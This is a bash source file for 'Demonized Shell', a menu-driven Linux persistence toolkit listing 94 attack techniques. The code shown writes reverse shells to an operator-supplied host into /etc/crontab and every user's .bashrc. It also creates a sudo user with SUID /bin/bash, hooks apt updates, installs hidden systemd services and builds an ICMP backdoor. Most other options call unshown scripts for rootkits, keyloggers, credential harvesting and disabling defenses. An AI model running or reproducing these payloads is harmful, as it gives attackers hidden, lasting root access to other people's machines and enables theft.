demonizedshell.sh

#!/bin/bash

rainbow() {
    local text=$1
    echo "$text" #| lolcat -p 0.3 -a -d 1
}

requirements() {
    sudo apt-get install lolcat git make gcc -y
}

crontab() {
    rainbow " [*] Crontab Persistence [*] "
    echo -e "\n"
    rainbow "Want to insert a custom command into crontab?"
    rainbow "Enter 'yes' to enter a custom command or 'no' to run the default command."
    read resposta

    if [[ $resposta == "yes" ]]; then
      rainbow "Enter the command you want to add to the crontab: "
      read comando
    else
      rainbow "Enter the IP address: "
      read ip

      rainbow "Enter port: "
      read porta

      comando="/bin/bash -c 'bash -i >& /dev/tcp/$ip/$porta 0>&1'"
    fi

    rainbow "Adding command to crontab..."
    echo "* * * * * root $comando" | sudo tee -a /etc/crontab > /dev/null
    rainbow "Command successfully added!"
}

bashRCPersistence() {
    rainbow " [*] .bashrc Persistence [*] "
    echo -e "\n"

      rainbow "Enter your listener's IP address: "
      read ip

      rainbow "Enter the port number of your listener: "
      read porta

      payload="/bin/bash -c 'bash -i >& /dev/tcp/$ip/$porta 0>&1'"

      for usuario in /home/*; do
        if [ -d "$usuario" ]; then
          rainbow "Inserting the reverse shell payload in the .bashrc of $user..."
          rainbow "$payload" >> "$usuario/.bashrc"
          rainbow "Payload successfully inserted into $usuario/.bashrc"
        fi
      done
    rainbow ".bashrc persistence setup successfully!!"
}

userANDBashSUID() {
    rainbow " [*] Privileged User & SUID /bin/bash [*] "
    echo -e "\n"

    rainbow "Enter a name for the user: "
    read user

    adduser $user
    usermod -aG sudo $user
    chmod u+s /bin/bash

    rainbow "User $username created with root permissions and SUID set in /bin/bash"
}

apthooking() {
    rainbow " [ * ]  hooking the apt-get update command [ * ] "
    echo -e "\n"

    rainbow "Enter a payload or command, as soon as the user enters sudo apt-get update, this command that you enter below will be executed!"
    read command

    sudo touch /etc/apt/apt.conf.d/1aptget
    echo "APT::Update::Pre-Invoke {\"$command\";};" | sudo tee /etc/apt/apt.conf.d/1aptget > /dev/null

    rainbow "Your hook is in /etc/apt/apt.conf.d/1aptget with the command: $command"
}

systemdUser() {
    rainbow "[ * ] Systemd User level [ * ] "

    echo -e "\n"

      rainbow "Do you want to run a script? (Y/n): "
      read execute_script

    if [[ $execute_script == "Y" ]]; then
      rainbow "Enter the full path of the script: "
      read script_path
    else
      rainbow "Type the command to run in ExecStart: "
      read exec_command
    fi

    cat > ~/.config/systemd/user/hidden.service <<EOF
[Unit]
Description=My service

[Service]
ExecStart=${script_path:-$exec_command}
Restart=always
RestartSec=60

[Install]
WantedBy=default.target
EOF

    if [[ $execute_script == "Y" && ! -x $script_path ]]; then
      rainbow "Error: The specified script does not have execute permission."
    else
      systemctl --user daemon-reload

      systemctl --user enable hidden.service
      systemctl --user start hidden.service
    fi

    rainbow "Systemd Persistence at user level setup successfully!!"
}
systemdRoot() {
    rainbow "[ * ] Systemd root level [ * ] "

    echo -e "\n"

    rainbow "Do you want to run a script? (Y/n): "
    read execute_script

    if [[ $execute_script == "Y" ]]; then
      rainbow "Enter the full path of the script: "
      read script_path
    else
      rainbow "Type the command to run in ExecStart: "
      read exec_command
    fi

    cat > /etc/systemd/system/hidden2.service <<EOF
[Unit]
Description=My service

[Service]
ExecStart=${script_path:-$exec_command}
Restart=always
RestartSec=60

[Install]
WantedBy=default.target
EOF

    if [[ $execute_script == "Y" && ! -x $script_path ]]; then
      rainbow "Error: The specified script does not have execute permission."
    else
      systemctl daemon-reload

      systemctl enable hidden2.service
      systemctl start hidden2.service

      rainbow "Systemd Root level setup successfully!"
    fi
}

sshGen() {
    while IFS=':' read -r username password uid gid full_name home shell; do
        if [[ "$shell" =~ /bin/.* ]] && [[ "$home" =~ ^/home/[^/]+$ ]]; then
            rainbow "User $username has shell $shell"

            if [ ! -f "$home/.ssh/id_rsa.pub" ]; then
                rainbow "Generating ssh-key for user $username"

                sleep 5

                mkdir -p "$home/.ssh"

                ssh-keygen -t rsa -N "" -f "$home/.ssh/id_rsa"

                chmod 700 "$home/.ssh"
                chmod 600 "$home/.ssh/id_rsa"
                chown -R "$username:$username" "$home/.ssh"

                clear
            else
                rainbow "SSH key already exists for user $username"
            fi
        fi
    done < "/etc/passwd"

    sleep 3

    rainbow "SSH-KEY successfully generated for all valid users!!"
}

lkmRootkitmodified() {
  chmod +x scripts/implant_rootkit.sh
  cd scripts
  ./implant_rootkit.sh
}

icmpBackdoor() {
  rainbow "Enter the IP address that will receive the ping: "
  read LHOST
  rainbow "Enter the port number that will receive the connection: "
  read LPORT
  git clone https://github.com/MrEmpy/Pingoor
  cd Pingoor
  make HOST=$LHOST PORT=$LPORT
  rainbow "Backdoor compiled. You can find it at Pingoor/pingoor"
}

lkmRootkit(){
  chmod +x scripts/install_locutus.sh
  cd scripts
  ./install_locutus.sh
}

SetupLdPreloadPrivesc(){
  chmod +x scripts/ld.sh
  cd scripts
  ./ld.sh
}

AntirevTechnique(){
  git clone https://github.com/MatheuZSecurity/NullSection
  cd NullSection
  gcc nullsection.c -o nullsection
  ./nullsection
}

MaliciousInit(){
	chmod +x scripts/init.sh
	cd scripts
	./init.sh
}

rcLocalPersis(){
	chmod +x scripts/rclocal.sh
	cd scripts
	./rclocal.sh
}

MotdPersistence(){
	chmod +x scripts/motd.sh
	cd scripts
	./motd.sh
}

acl(){
	chmod +x scripts/acl.sh
	cd scripts
	./acl.sh
}

procnamerev(){
	chmod +x scripts/procname.sh
	cd scripts
	./procname.sh
}

processInjection(){
	chmod +x scripts/procinject.sh
	cd scripts
	./procinject.sh
}

udevPersistence(){
	chmod +x scripts/udev.sh
	cd scripts
	./udev.sh
}

lkmPersistReboot(){
	chmod +x scripts/lkm_persist.sh
	cd scripts
	./lkm_persist.sh
}

pamBackdoor(){
	chmod +x scripts/pam.sh
	cd scripts
	./pam.sh
}

sshAuthkeysBackdoor(){
	chmod +x scripts/ssh_authkeys.sh
	cd scripts
	./ssh_authkeys.sh
}

logrotatePersistence(){
	chmod +x scripts/logrotate.sh
	cd scripts
	./logrotate.sh
}

githooksPersistence(){
	chmod +x scripts/githooks.sh
	cd scripts
	./githooks.sh
}

xdgPersistence(){
	chmod +x scripts/xdg.sh
	cd scripts
	./xdg.sh
}

atjobPersistence(){
	chmod +x scripts/atjob.sh
	cd scripts
	./atjob.sh
}

dkmsRootkit(){
	chmod +x scripts/dkms_rootkit.sh
	cd scripts
	./dkms_rootkit.sh
}

bindmountHide(){
	chmod +x scripts/bindmount_hide.sh
	cd scripts
	./bindmount_hide.sh
}

hidepidProc(){
	chmod +x scripts/hidepid.sh
	cd scripts
	./hidepid.sh
}

initramfsInject(){
	chmod +x scripts/initramfs_inject.sh
	cd scripts
	./initramfs_inject.sh
}

debBackdoor(){
	chmod +x scripts/deb_backdoor.sh
	cd scripts
	./deb_backdoor.sh
}

depmodStealth(){
	chmod +x scripts/depmod_stealth.sh
	cd scripts
	./depmod_stealth.sh
}

namespaceJail(){
	chmod +x scripts/ns_jail.sh
	cd scripts
	./ns_jail.sh
}

sshTunnelHijack(){
	chmod +x scripts/ssh_tunnel_hijack.sh
	cd scripts
	./ssh_tunnel_hijack.sh
}

sshItMitm(){
	chmod +x scripts/ssh_it.sh
	cd scripts
	./ssh_it.sh
}

trapPersist(){
	chmod +x scripts/trap_persist.sh
	cd scripts
	./trap_persist.sh
}

pythonPersist(){
	chmod +x scripts/python_persist.sh
	cd scripts
	./python_persist.sh
}

socketFilter(){
	chmod +x scripts/socket_filter.sh
	cd scripts
	./socket_filter.sh
}

binaryReplace(){
	chmod +x scripts/binary_replace.sh
	cd scripts
	./binary_replace.sh
}

ldsoPreload(){
	chmod +x scripts/ldso_preload.sh
	cd scripts
	./ldso_preload.sh
}

systemdTimer(){
	chmod +x scripts/systemd_timer.sh
	cd scripts
	./systemd_timer.sh
}

defenseImpair(){
	chmod +x scripts/defense_impair.sh
	cd scripts
	./defense_impair.sh
}

antiForensics(){
	chmod +x scripts/anti_forensics.sh
	cd scripts
	./anti_forensics.sh
}

rogueCA(){
	chmod +x scripts/rogue_ca.sh
	cd scripts
	./rogue_ca.sh
}

hiddenFS(){
	chmod +x scripts/hidden_fs.sh
	cd scripts
	./hidden_fs.sh
}

bootkit(){
	chmod +x scripts/bootkit.sh
	cd scripts
	./bootkit.sh
}

credHarvest(){
	chmod +x scripts/cred_harvest.sh
	cd scripts
	./cred_harvest.sh
}

keylogger(){
	chmod +x scripts/keylogger.sh
	cd scripts
	./keylogger.sh
}

webShell(){
	chmod +x scripts/web_shell.sh
	cd scripts
	./web_shell.sh
}

phantomUser(){
	chmod +x scripts/phantom_user.sh
	cd scripts
	./phantom_user.sh
}

capsAbuse(){
	chmod +x scripts/caps_abuse.sh
	cd scripts
	./caps_abuse.sh
}

pathHijack(){
	chmod +x scripts/path_hijack.sh
	cd scripts
	./path_hijack.sh
}

memfdExec(){
	chmod +x scripts/memfd_exec.sh
	cd scripts
	./memfd_exec.sh
}

vmEvasion(){
	chmod +x scripts/vm_evasion.sh
	cd scripts
	./vm_evasion.sh
}

xattrHide(){
	chmod +x scripts/xattr_hide.sh
	cd scripts
	./xattr_hide.sh
}

dbusPersist(){
	chmod +x scripts/dbus_persist.sh
	cd scripts
	./dbus_persist.sh
}

nssBackdoor(){
	chmod +x scripts/nss_backdoor.sh
	cd scripts
	./nss_backdoor.sh
}

ldconfigPoison(){
	chmod +x scripts/ldconfig_poison.sh
	cd scripts
	./ldconfig_poison.sh
}

dnsTunnel(){
	chmod +x scripts/dns_tunnel.sh
	cd scripts
	./dns_tunnel.sh
}

kernelExploit(){
	chmod +x scripts/kernel_exploit.sh
	cd scripts
	./kernel_exploit.sh
}

winPersist(){
	chmod +x scripts/win_persist.sh
	cd scripts
	./win_persist.sh
}

winEvasion(){
	chmod +x scripts/win_evasion.sh
	cd scripts
	./win_evasion.sh
}

winCredAccess(){
	chmod +x scripts/win_credaccess.sh
	cd scripts
	./win_credaccess.sh
}

winStealth(){
	chmod +x scripts/win_stealth.sh
	cd scripts
	./win_stealth.sh
}

diamorphineRootkit(){
	chmod +x scripts/diamorphine.sh
	cd scripts
	./diamorphine.sh
}

systemdGenerator(){
	chmod +x scripts/systemd_generator.sh
	cd scripts
	./systemd_generator.sh
}

nmDispatcher(){
	chmod +x scripts/nm_dispatcher.sh
	cd scripts
	./nm_dispatcher.sh
}

polkitBackdoor(){
	chmod +x scripts/polkit_backdoor.sh
	cd scripts
	./polkit_backdoor.sh
}

sudoersBackdoor(){
	chmod +x scripts/sudoers_backdoor.sh
	cd scripts
	./sudoers_backdoor.sh
}

ebpfHide(){
	chmod +x scripts/ebpf_hide.sh
	cd scripts
	./ebpf_hide.sh
}

modprobeHijack(){
	chmod +x scripts/modprobe_hijack.sh
	cd scripts
	./modprobe_hijack.sh
}

grubBackdoor(){
	chmod +x scripts/grub_backdoor.sh
	cd scripts
	./grub_backdoor.sh
}

nsStashspace(){
	chmod +x scripts/ns_stashspace.sh
	cd scripts
	./ns_stashspace.sh
}

systemdOverride(){
	chmod +x scripts/systemd_override.sh
	cd scripts
	./systemd_override.sh
}

yumBackdoor(){
	chmod +x scripts/yum_backdoor.sh
	cd scripts
	./yum_backdoor.sh
}

dockerPersist(){
	chmod +x scripts/docker_persist.sh
	cd scripts
	./docker_persist.sh
}

openrcPersist(){
	chmod +x scripts/openrc_persist.sh
	cd scripts
	./openrc_persist.sh
}

upstartPersist(){
	chmod +x scripts/upstart_persist.sh
	cd scripts
	./upstart_persist.sh
}

emacsPersist(){
	chmod +x scripts/emacs_persist.sh
	cd scripts
	./emacs_persist.sh
}

igelPersist(){
	chmod +x scripts/igel_persist.sh
	cd scripts
	./igel_persist.sh
}

wslPersist(){
	chmod +x scripts/wsl_persist.sh
	cd scripts
	./wsl_persist.sh
}

periodicPersist(){
	chmod +x scripts/periodic_persist.sh
	cd scripts
	./periodic_persist.sh
}

apacheBackdoor(){
	chmod +x scripts/apache_backdoor.sh
	cd scripts
	./apache_backdoor.sh
}

gitConfigBackdoor(){
	chmod +x scripts/git_config_backdoor.sh
	cd scripts
	./git_config_backdoor.sh
}

profiledPersist(){
	chmod +x scripts/profiled_persist.sh
	cd scripts
	./profiled_persist.sh
}

openvpnBackdoor(){
	chmod +x scripts/openvpn_backdoor.sh
	cd scripts
	./openvpn_backdoor.sh
}

iptablesRedirect(){
	chmod +x scripts/iptables_redirect.sh
	cd scripts
	./iptables_redirect.sh
}

tmpfilesdPersist(){
	chmod +x scripts/tmpfilesd_persist.sh
	cd scripts
	./tmpfilesd_persist.sh
}

environmentInject(){
	chmod +x scripts/environment_inject.sh
	cd scripts
	./environment_inject.sh
}

gnomeExtension(){
	chmod +x scripts/gnome_extension.sh
	cd scripts
	./gnome_extension.sh
}

networkScripts(){
	chmod +x scripts/network_scripts.sh
	cd scripts
	./network_scripts.sh
}

cgroupEscape(){
	chmod +x scripts/cgroup_escape.sh
	cd scripts
	./cgroup_escape.sh
}

screenHijack(){
	chmod +x scripts/screen_hijack.sh
	cd scripts
	./screen_hijack.sh
}

elfInject(){
	chmod +x scripts/elf_inject.sh
	cd scripts
	./elf_inject.sh
}

banner() {
    rainbow "
                                  ,
                                  /(        )\`
                                  \\ \___   / |
                                  /- _  \`-/  '
                                (/\\\/ \ \   /\\
                                / /   | \`    \\
                                O O   ) /    |
                                \`-^--'\`<     '
                    TM         (_.)  _  )   /
  |  | |\  | ~|~ \ /             \`.___/ \`    /
  |  | | \ |  |   X                \`-----' /
  \`__| |  \| _|_ / \\  <----.     __ / __   \\
      version 1.2     <----|====O)))==) \\) /====
                      <----'    \`--' \`.__,' \\
                                  |        |
                                    \\       /
                              ______( (_  / \______
                            ,'  ,-----'   |        \\
                            \`--{__________)        \\

  Demonized Shell is an Advanced Tool for persistence in linux"
    printf "\n\n"
}

menu() {
    cat << EOF 
  [01] Generate SSH keypair       [06] Bashrc Persistence
  [02] APT Persistence            [07] Privileged user & SUID bash
  [03] Crontab Persistence        [08] LKM Rootkit Modified, Bypassing rkhunter & chkrootkit
  [04] Systemd User level         [09] ICMP Backdoor
  [05] Systemd Root Level         [10] LKM Rootkit
                                  [11] Setup privesc LD_PRELOAD
                                  [12] Anti-Reversing Technique - Overwrite Section Header with Null Bytes
                                  [13] Init.d Persistence
                                  [14] rc.local Persistence
                                  [15] Motd Persistence
                                  [16] ACL Persistence.
                                  [17] Reverse shell with a process name of your choice.
                                  [18] Process Injection
                                  [19] Udev Persistence (Net/USB/Block/Custom)
                                  [20] LKM Rootkit Persistence After Reboot
                                  [21] PAM Backdoor
                                  [22] SSH Authorized Keys Backdoor
                                  [23] Logrotate Persistence
                                  [24] Git Hooks Persistence
                                  [25] XDG Autostart Persistence
                                  [26] At Job Persistence
                                  [27] DKMS Integration for LKM Rootkit
                                  [28] Process Hiding via Bind Mount
                                  [29] Hidepid /proc Mount
                                  [30] Initramfs Injection (Ultra-Persistent)
                                  [31] Package Manager Backdoor (.deb)
                                  [32] Depmod Stealth (Hide from modules.dep)
                                  [33] Namespace Jail (Container-Based Rootkit)
                                  [34] SSH Tunnel Hijack & Multiplexing Abuse
                                  [35] SSH-IT: PTY MITM Dual-Connection Stealth
                                  [36] Trap Command Persistence (T1546.005)
                                  [37] Python Startup Hooks (T1546.018)
                                  [38] Port Knocking / Socket Filter (T1205.002)
                                  [39] Binary Trojanization (T1554)
                                  [40] System-Wide ld.so.preload (T1574.006)
                                  [41] Systemd Timer Persistence (T1053.006)
                                  [42] Impair Defenses (T1562)
                                  [43] Anti-Forensics / Indicator Removal (T1070)
                                  [44] Rogue Certificate Authority (T1553.004)
                                  [45] Hidden Encrypted Filesystem (T1564.005)
                                  [46] Bootkit / Bootloader Persistence (T1542.003)
                                  [47] Credential Harvester (T1552)
                                  [48] Linux Keylogger (T1056.001)
                                  [49] Web Shell Deployment (T1505.003)
                                  [50] Phantom User Creation (T1136.001)
                                  [51] Linux Capabilities Abuse (T1548)
                                  [52] PATH Variable Hijacking (T1574.007)
                                  [53] Fileless / Memfd Execution (T1027.011)
                                  [54] VM / Sandbox Evasion (T1497)
                                  [55] xattr Data Hiding (T1564.001)
                                  [56] D-Bus Service Persistence (T1543.002)
                                  [57] NSS Module Backdoor (T1556)
                                  [58] Library RPATH/ldconfig Poisoning (T1574.008)
                                  [59] DNS Tunneling C2 (T1071.004)
                                  [60] Kernel Parameter Abuse (T1546)

                                  ═══ Windows Techniques ═══
                                  [61] Windows Persistence Generator (8 techniques)
                                  [62] Windows Defense Evasion Generator (7 techniques)
                                  [63] Windows Credential Access Generator (5 techniques)
                                  [64] Windows Stealth & Indicator Removal (4 techniques)

                                  ═══ Advanced Techniques (Research) ═══
                                  [65] Diamorphine Rootkit Auto-Deploy (T1014)
                                  [66] Systemd Generator Persistence (T1543.002)
                                  [67] NetworkManager Dispatcher Persistence (T1546)
                                  [68] Polkit Privilege Escalation Backdoor (T1548)
                                  [69] Sudoers Backdoor (T1548.003)
                                  [70] eBPF-Based Process/File Hiding (T1564)
                                  [71] Modprobe.d Event Hijacking (T1547.006)
                                  [72] GRUB Bootloader Backdoor (T1542)
                                  [73] Mount Namespace Stashspace (T1564.001)

                                  ═══ Metasploit-Sourced Techniques ═══
                                  [74] SystemD Drop-in Override (T1543.002)
                                  [75] Yum/DNF Plugin Backdoor (T1546)
                                  [76] Docker Container Persistence (T1610)
                                  [77] OpenRC Service Persistence (T1543)
                                  [78] Upstart Service Persistence (T1543)
                                  [79] Emacs Extension Persistence (T1546)
                                  [80] IGEL OS Persistence (T1546)
                                  [81] WSL Startup Folder Persistence (T1546)
                                  [82] Periodic/Anacron Persistence (T1053)

                ═══════════════════════════════════════════════════════
                               Malware-Sourced Techniques
                ═══════════════════════════════════════════════════════

                                  [83] Apache/Nginx Module Backdoor (T1505.003)
                                  [84] Git Config Pager Hijack (T1546)
                                  [85] /etc/profile.d Script Drop (T1546.004)
                                  [86] OpenVPN Config Backdoor (T1546)
                                  [87] iptables NAT Redirect (T1205)
                                  [88] Tmpfiles.d Persistence (T1543.002)
                                  [89] /etc/environment Injection (T1574.006)
                                  [90] GNOME Shell Extension (T1546)
                                  [91] network-scripts ifup Backdoor (T1546)
                                  [92] Cgroup Release Agent Escape (T1611)
                                  [93] Screen/Tmux Session Hijack (T1563.001)
                                  [94] ELF Parasitic Code Injection (T1554)

    [*] Coming soon others features [*]

EOF

    printf "[D3m0niz3d]~# "

    read MENUINPUT

    if [ "$MENUINPUT" == "1" ] || [ "$MENUINPUT" == "01" ]; then
        sshGen
    elif [ "$MENUINPUT" == "2" ] || [ "$MENUINPUT" == "02" ]; then
        apthooking
    elif [ "$MENUINPUT" == "3" ] || [ "$MENUINPUT" == "03" ]; then
        crontab
    elif [ "$MENUINPUT" == "4" ] || [ "$MENUINPUT" == "04" ]; then
        systemdUser
    elif [ "$MENUINPUT" == "5" ] || [ "$MENUINPUT" == "05" ]; then
        systemdRoot
    elif [ "$MENUINPUT" == "6" ] || [ "$MENUINPUT" == "06" ]; then
        bashRCPersistence
    elif [ "$MENUINPUT" == "7" ] || [ "$MENUINPUT" == "07" ]; then
        userANDBashSUID
    elif [ "$MENUINPUT" == "8" ] || [ "$MENUINPUT" == "08" ]; then
        lkmRootkitmodified
    elif [ "$MENUINPUT" == "9" ] || [ "$MENUINPUT" == "09" ]; then
        icmpBackdoor
    elif [ "$MENUINPUT" == "10" ] || [ "$MENUINPUT" == "10" ]; then
        lkmRootkit
    elif [ "$MENUINPUT" == "11" ] || [ "$MENUINPUT" == "11" ]; then
        SetupLdPreloadPrivesc
    elif [ "$MENUINPUT" == "12" ] || [ "$MENUINPUT" == "12" ]; then
        AntirevTechnique
    elif [ "$MENUINPUT" == "13" ] || [ "$MENUINPUT" == "13" ]; then
        MaliciousInit
    elif [ "$MENUINPUT" == "14" ] || [ "$MENUINPUT" == "14" ]; then
        rcLocalPersis
    elif [ "$MENUINPUT" == "15" ] || [ "$MENUINPUT" == "15" ]; then
        MotdPersistence
    elif [ "$MENUINPUT" == "16" ] || [ "$MENUINPUT" == "16" ]; then
        acl
    elif [ "$MENUINPUT" == "17" ] || [ "$MENUINPUT" == "17" ]; then
        procnamerev
    elif [ "$MENUINPUT" == "18" ] || [ "$MENUINPUT" == "18" ]; then
        processInjection
    elif [ "$MENUINPUT" == "19" ] || [ "$MENUINPUT" == "19" ]; then
        udevPersistence
    elif [ "$MENUINPUT" == "20" ] || [ "$MENUINPUT" == "20" ]; then
        lkmPersistReboot
    elif [ "$MENUINPUT" == "21" ] || [ "$MENUINPUT" == "21" ]; then
        pamBackdoor
    elif [ "$MENUINPUT" == "22" ] || [ "$MENUINPUT" == "22" ]; then
        sshAuthkeysBackdoor
    elif [ "$MENUINPUT" == "23" ] || [ "$MENUINPUT" == "23" ]; then
        logrotatePersistence
    elif [ "$MENUINPUT" == "24" ] || [ "$MENUINPUT" == "24" ]; then
        githooksPersistence
    elif [ "$MENUINPUT" == "25" ] || [ "$MENUINPUT" == "25" ]; then
        xdgPersistence
    elif [ "$MENUINPUT" == "26" ] || [ "$MENUINPUT" == "26" ]; then
        atjobPersistence
    elif [ "$MENUINPUT" == "27" ] || [ "$MENUINPUT" == "27" ]; then
        dkmsRootkit
    elif [ "$MENUINPUT" == "28" ] || [ "$MENUINPUT" == "28" ]; then
        bindmountHide
    elif [ "$MENUINPUT" == "29" ] || [ "$MENUINPUT" == "29" ]; then
        hidepidProc
    elif [ "$MENUINPUT" == "30" ] || [ "$MENUINPUT" == "30" ]; then
        initramfsInject
    elif [ "$MENUINPUT" == "31" ] || [ "$MENUINPUT" == "31" ]; then
        debBackdoor
    elif [ "$MENUINPUT" == "32" ] || [ "$MENUINPUT" == "32" ]; then
        depmodStealth
    elif [ "$MENUINPUT" == "33" ] || [ "$MENUINPUT" == "33" ]; then
        namespaceJail
    elif [ "$MENUINPUT" == "34" ] || [ "$MENUINPUT" == "34" ]; then
        sshTunnelHijack
    elif [ "$MENUINPUT" == "35" ] || [ "$MENUINPUT" == "35" ]; then
        sshItMitm
    elif [ "$MENUINPUT" == "36" ] || [ "$MENUINPUT" == "36" ]; then
        trapPersist
    elif [ "$MENUINPUT" == "37" ] || [ "$MENUINPUT" == "37" ]; then
        pythonPersist
    elif [ "$MENUINPUT" == "38" ] || [ "$MENUINPUT" == "38" ]; then
        socketFilter
    elif [ "$MENUINPUT" == "39" ] || [ "$MENUINPUT" == "39" ]; then
        binaryReplace
    elif [ "$MENUINPUT" == "40" ] || [ "$MENUINPUT" == "40" ]; then
        ldsoPreload
    elif [ "$MENUINPUT" == "41" ] || [ "$MENUINPUT" == "41" ]; then
        systemdTimer
    elif [ "$MENUINPUT" == "42" ] || [ "$MENUINPUT" == "42" ]; then
        defenseImpair
    elif [ "$MENUINPUT" == "43" ] || [ "$MENUINPUT" == "43" ]; then
        antiForensics
    elif [ "$MENUINPUT" == "44" ] || [ "$MENUINPUT" == "44" ]; then
        rogueCA
    elif [ "$MENUINPUT" == "45" ] || [ "$MENUINPUT" == "45" ]; then
        hiddenFS
    elif [ "$MENUINPUT" == "46" ] || [ "$MENUINPUT" == "46" ]; then
        bootkit
    elif [ "$MENUINPUT" == "47" ] || [ "$MENUINPUT" == "47" ]; then
        credHarvest
    elif [ "$MENUINPUT" == "48" ] || [ "$MENUINPUT" == "48" ]; then
        keylogger
    elif [ "$MENUINPUT" == "49" ] || [ "$MENUINPUT" == "49" ]; then
        webShell
    elif [ "$MENUINPUT" == "50" ] || [ "$MENUINPUT" == "50" ]; then
        phantomUser
    elif [ "$MENUINPUT" == "51" ] || [ "$MENUINPUT" == "51" ]; then
        capsAbuse
    elif [ "$MENUINPUT" == "52" ] || [ "$MENUINPUT" == "52" ]; then
        pathHijack
    elif [ "$MENUINPUT" == "53" ] || [ "$MENUINPUT" == "53" ]; then
        memfdExec
    elif [ "$MENUINPUT" == "54" ] || [ "$MENUINPUT" == "54" ]; then
        vmEvasion
    elif [ "$MENUINPUT" == "55" ] || [ "$MENUINPUT" == "55" ]; then
        xattrHide
    elif [ "$MENUINPUT" == "56" ] || [ "$MENUINPUT" == "56" ]; then
        dbusPersist
    elif [ "$MENUINPUT" == "57" ] || [ "$MENUINPUT" == "57" ]; then
        nssBackdoor
    elif [ "$MENUINPUT" == "58" ] || [ "$MENUINPUT" == "58" ]; then
        ldconfigPoison
    elif [ "$MENUINPUT" == "59" ] || [ "$MENUINPUT" == "59" ]; then
        dnsTunnel
    elif [ "$MENUINPUT" == "60" ] || [ "$MENUINPUT" == "60" ]; then
        kernelExploit
    elif [ "$MENUINPUT" == "61" ] || [ "$MENUINPUT" == "61" ]; then
        winPersist
    elif [ "$MENUINPUT" == "62" ] || [ "$MENUINPUT" == "62" ]; then
        winEvasion
    elif [ "$MENUINPUT" == "63" ] || [ "$MENUINPUT" == "63" ]; then
        winCredAccess
    elif [ "$MENUINPUT" == "64" ] || [ "$MENUINPUT" == "64" ]; then
        winStealth
    elif [ "$MENUINPUT" == "65" ] || [ "$MENUINPUT" == "65" ]; then
        diamorphineRootkit
    elif [ "$MENUINPUT" == "66" ] || [ "$MENUINPUT" == "66" ]; then
        systemdGenerator
    elif [ "$MENUINPUT" == "67" ] || [ "$MENUINPUT" == "67" ]; then
        nmDispatcher
    elif [ "$MENUINPUT" == "68" ] || [ "$MENUINPUT" == "68" ]; then
        polkitBackdoor
    elif [ "$MENUINPUT" == "69" ] || [ "$MENUINPUT" == "69" ]; then
        sudoersBackdoor
    elif [ "$MENUINPUT" == "70" ] || [ "$MENUINPUT" == "70" ]; then
        ebpfHide
    elif [ "$MENUINPUT" == "71" ] || [ "$MENUINPUT" == "71" ]; then
        modprobeHijack
    elif [ "$MENUINPUT" == "72" ] || [ "$MENUINPUT" == "72" ]; then
        grubBackdoor
    elif [ "$MENUINPUT" == "73" ] || [ "$MENUINPUT" == "73" ]; then
        nsStashspace
    elif [ "$MENUINPUT" == "74" ] || [ "$MENUINPUT" == "74" ]; then
        systemdOverride
    elif [ "$MENUINPUT" == "75" ] || [ "$MENUINPUT" == "75" ]; then
        yumBackdoor
    elif [ "$MENUINPUT" == "76" ] || [ "$MENUINPUT" == "76" ]; then
        dockerPersist
    elif [ "$MENUINPUT" == "77" ] || [ "$MENUINPUT" == "77" ]; then
        openrcPersist
    elif [ "$MENUINPUT" == "78" ] || [ "$MENUINPUT" == "78" ]; then
        upstartPersist
    elif [ "$MENUINPUT" == "79" ] || [ "$MENUINPUT" == "79" ]; then
        emacsPersist
    elif [ "$MENUINPUT" == "80" ] || [ "$MENUINPUT" == "80" ]; then
        igelPersist
    elif [ "$MENUINPUT" == "81" ] || [ "$MENUINPUT" == "81" ]; then
        wslPersist
    elif [ "$MENUINPUT" == "82" ] || [ "$MENUINPUT" == "82" ]; then
        periodicPersist
    elif [ "$MENUINPUT" == "83" ]; then
        apacheBackdoor
    elif [ "$MENUINPUT" == "84" ]; then
        gitConfigBackdoor
    elif [ "$MENUINPUT" == "85" ]; then
        profiledPersist
    elif [ "$MENUINPUT" == "86" ]; then
        openvpnBackdoor
    elif [ "$MENUINPUT" == "87" ]; then
        iptablesRedirect
    elif [ "$MENUINPUT" == "88" ]; then
        tmpfilesdPersist
    elif [ "$MENUINPUT" == "89" ]; then
        environmentInject
    elif [ "$MENUINPUT" == "90" ]; then
        gnomeExtension
    elif [ "$MENUINPUT" == "91" ]; then
        networkScripts
    elif [ "$MENUINPUT" == "92" ]; then
        cgroupEscape
    elif [ "$MENUINPUT" == "93" ]; then
        screenHijack
    elif [ "$MENUINPUT" == "94" ]; then
        elfInject
    else 
        echo "This option does not exist"
    fi
}

main() {
    if [[ $(id -u) -ne "0" ]]; then
        echo "[ERROR] You must run this script as root" >&2
        exit 1
    fi

    requirements
    clear
    banner
    sleep 0.5

    menu
}

main